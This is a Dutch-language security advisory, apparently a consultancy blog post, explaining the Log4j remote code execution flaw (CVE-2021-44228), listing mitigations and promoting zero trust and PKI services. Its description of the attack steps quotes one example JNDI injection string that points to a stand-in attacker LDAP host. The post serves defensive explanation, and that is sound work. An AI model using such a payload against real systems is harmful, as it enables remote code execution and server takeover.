Beperk de risico's van de kwetsbaarheid voor code-uitvoering op afstand in Apache Log4j

De afgelopen maand heeft u de Log4j-exploit waarschijnlijk in het nieuws gezien. In december werd een kritieke kwetsbaarheid voor externe code-uitvoering, CVE-2021-44228, ontdekt in Apache Log4j en deze heeft miljoenen servers getroffen. Cloudflare heeft verklaard dat het bedrijf meer dan 100 pogingen per uur heeft geregistreerd om deze kwetsbaarheid te misbruiken. Microsoft heeft vastgesteld dat de kwetsbaarheid wordt misbruikt door meerdere hackersgroepen uit China, Noord-Korea, Iran en Turkije. Ook in de laatste week van december waren er veel misbruikpogingen.

Wat is Log4j?

Apache Log4j is een open-source loggingbibliotheek die breed wordt gebruikt in vrijwel elke omgeving waar een Java-applicatie wordt gebruikt. Dit omvat bedrijfsapplicaties, cloudservices, webapplicaties, e-mailservices en open-source software. Deze bibliotheek wordt gebruikt om beveiligings- en prestatiegegevens te loggen.

Wat is het probleem?

De kwetsbaarheid maakt gebruik van JNDI-lookups (Java Naming and Directory Interface), die zijn toegestaan ​​in de standaardconfiguratie van Log4j. JNDI is een Java API die clients gebruiken om gegevens en objecten op te zoeken die zijn opgeslagen in verschillende directory- en naamgevingsservices, zoals Lightweight Directory Access Protocol (LDAP), Domain Name System (DNS) en Remote Method Invocation (RMI).

De API gebruikt een string als invoerparameter en deze invoerparameter kan door een externe aanvaller worden misbruikt om willekeurige code uit te voeren. Log4j reinigt de invoerparameters niet, waardoor een aanvaller een string als variabele kan opgeven die kan worden gebruikt om een ​​extern Java-klassebestand te laden en aan te roepen. Een aanvaller met de mogelijkheid om logberichten te beheren, kan externe code uitvoeren die is geladen vanaf LDAP-servers wanneer berichtzoekvervanging is ingeschakeld en volledige controle over de getroffen server krijgen. Een aanvaller kan deze kwetsbaarheid misbruiken door de onderstaande stappen te volgen:

• Een aanvaller maakt een speciaal samengestelde string met de schadelijke payload en stuurt deze naar een kwetsbaar systeem. Deze string kan worden ingevoegd in elk van de velden die het systeem registreert, zoals
  • User Agent
  • Gebruikersnaam
  • Apparaatnaam of e-mailadres
• De tekenreeks verwijst naar een door een aanvaller gecontroleerde LDAP- of DNS-server, zoals

  ${jndi:ldap://evil-hack.com/a}.

  Deze string wordt vervolgens naar Log4j gestuurd voor logging

• Het kwetsbare systeem gebruikt JNDI om de door de aanvaller beheerde LDAP- of DNS-server te raadplegen.
• De door de aanvaller gecontroleerde LDAP- of DNS-server reageert met een extern Java-klassebestand (exploit.class)
• De Java-klasse wordt gedownload en uitgevoerd.

Ernst van het probleem

De impact van de exploit is zeer groot vanwege de aard van de kwetsbaarheid. Log4j wordt veel gebruikt door ontwikkelaars en om de kwetsbaarheid te misbruiken, hoeft een aanvaller alleen maar het doelsysteem te misbruiken om een ​​speciaal opgesteld bericht te loggen. Aanvallers misbruiken deze kwetsbaarheid op grote schaal voor cryptomining en andere soorten malware-aanvallen.

Cybercriminelen misbruiken een nieuwe kwetsbaarheid om deze te misbruiken voordat deze wordt verholpen. Log4j, dat zo breed wordt gebruikt door ontwikkelaars in bijna elke Java-applicatie, biedt cybercriminelen meer tijd om deze kwetsbaarheid te misbruiken voordat de organisatie het volledige netwerk en de applicaties op het netwerk kan patchen.

Beveiligingsexperts waarschuwen dat de kwetsbaarheid zich door de Java-packaging mogelijk meerdere lagen diep in de applicaties bevindt en niet gemakkelijk door scanners kan worden gedetecteerd. Hoewel de exploit momenteel gericht is op cryptomining, kan deze door serieuze dreigingsactoren worden misbruikt om waardevolle doelen zoals financiële instellingen en federale overheidsinstanties aan te vallen. Aanvallers scannen zowel Windows- als Linux-systemen op deze kwetsbaarheid.

Hoe kan het risico worden beperkt?

Een organisatie kan de onderstaande aanbevelingen volgen om deze kwetsbaarheid aan te pakken:

• Om een ​​organisatie in staat te stellen de getroffen applicaties en systemen te identificeren, moeten scantools en scripts worden ingezet om kwetsbare systemen in de omgeving te detecteren.
• Als tijdelijke oplossing kan de klasse JndiLookup uit het klassenpad worden verwijderd.
• Pas direct de bijbehorende beveiligingspatches toe op openbare applicaties en systemen.
• Pas zo snel mogelijk de bijbehorende beveiligingspatches toe voor interne applicaties en systemen.
• Controleer de logboeken van uw netwerkperimeter op aanwijzingen voor inbreuken.
• Als u een WAF gebruikt, maak dan regels die specifiek zijn voor log4j.
• Isoleer de kwetsbare systemen door netwerksegmentatie of andere middelen.
• Let op verdachte activiteiten en let vooral op applicaties die externe verbindingen tot stand brengen.
• Overweeg de implementatie van zero trust-architectuur.

Zero Trust-architectuur

Een belangrijk element bij alle malware-aanvallen is dat de aanvaller de applicaties en systemen van de organisatie tegen de organisatie zelf gebruikt. Organisaties zouden moeten overwegen om zero trust-architectuur te implementeren om de organisatie te beschermen tegen haar eigen applicaties en systemen. Zero trust is een aanpak die een organisatie beveiligt door impliciet vertrouwen af ​​te wijzen en elk verzoek continu te valideren. Het is gebaseerd op het principe "nooit vertrouwen, altijd verifiëren". Elk toegangsverzoek wordt eerst geauthenticeerd, geautoriseerd en versleuteld voordat toegang tot de bron wordt verleend. Zero trust-architectuur is gebaseerd op drie belangrijke principes:

1. Expliciet verifiëren

   Verifieer en autoriseer verzoeken altijd op basis van de identiteit van de gebruiker, het apparaat, de locatie, de service, de werklast en andere parameters.

2. Gebruik de minste privileges

   Beperk de toegang van gebruikers tot alleen de resources die nodig zijn voor de functie. Gebruik risicogebaseerd beleid en gegevensbescherming om gegevens en systemen te beveiligen.

3. Ga uit van een inbreuk en inspecteer elke activiteit

   Gebruik analyses om inzicht te krijgen in het netwerk, de systemen en de toepassingen, en om de beveiliging te verbeteren.

Identiteit is de nieuwe netwerkperimeter geworden en verificatie van deze identiteiten staat centraal in de zero-trustarchitectuur. In plaats van identificatie op basis van IP-adres, wordt de identiteit van de gebruiker geverifieerd met behulp van Identity and Access Management (IAM), multifactorauthenticatie (MFA) en Public Key Cryptography (PKI).

Naast identiteitsverificatie moeten organisaties ook apparaatverificatie garanderen door gebruik te maken van certificaten en sleutelparen om de beveiliging van de organisatie te versterken. Gegevens moeten beschermd zijn, zowel in rust als tijdens de overdracht. Dit maakt encryptie, met name PKI, een belangrijk onderdeel van de implementatie van zero-trustarchitectuur. PKI stelt een organisatie in staat de identiteit van machines vast te stellen en versleutelt communicatie tussen netwerken. Organisaties kunnen PKI gebruiken om digitale certificaten uit te geven aan gebruikers, machines, webapplicaties en mobiele apparaten om veilige netwerkauthenticatie te bieden.

Conclusie

Organisaties moeten de beveiliging van hun systemen en applicaties tegen dergelijke kwetsbaarheden en exploits versterken en daartoe moeten ze overstappen op een zero-trustarchitectuur. De implementatie van een PKI is belangrijk voor een zero-trustarchitectuur en het garanderen van veilige netwerkauthenticatie voor gebruikers, systemen en webapplicaties. Encryption Consulting is een klantgericht adviesbureau voor cybersecurity dat diverse klanten diensten levert voor de implementatie en het beheer van PKI in hun omgevingen. Bezoek onze website op om te zien hoe wij uw organisatie kunnen helpen. www.encryptionconsulting.com.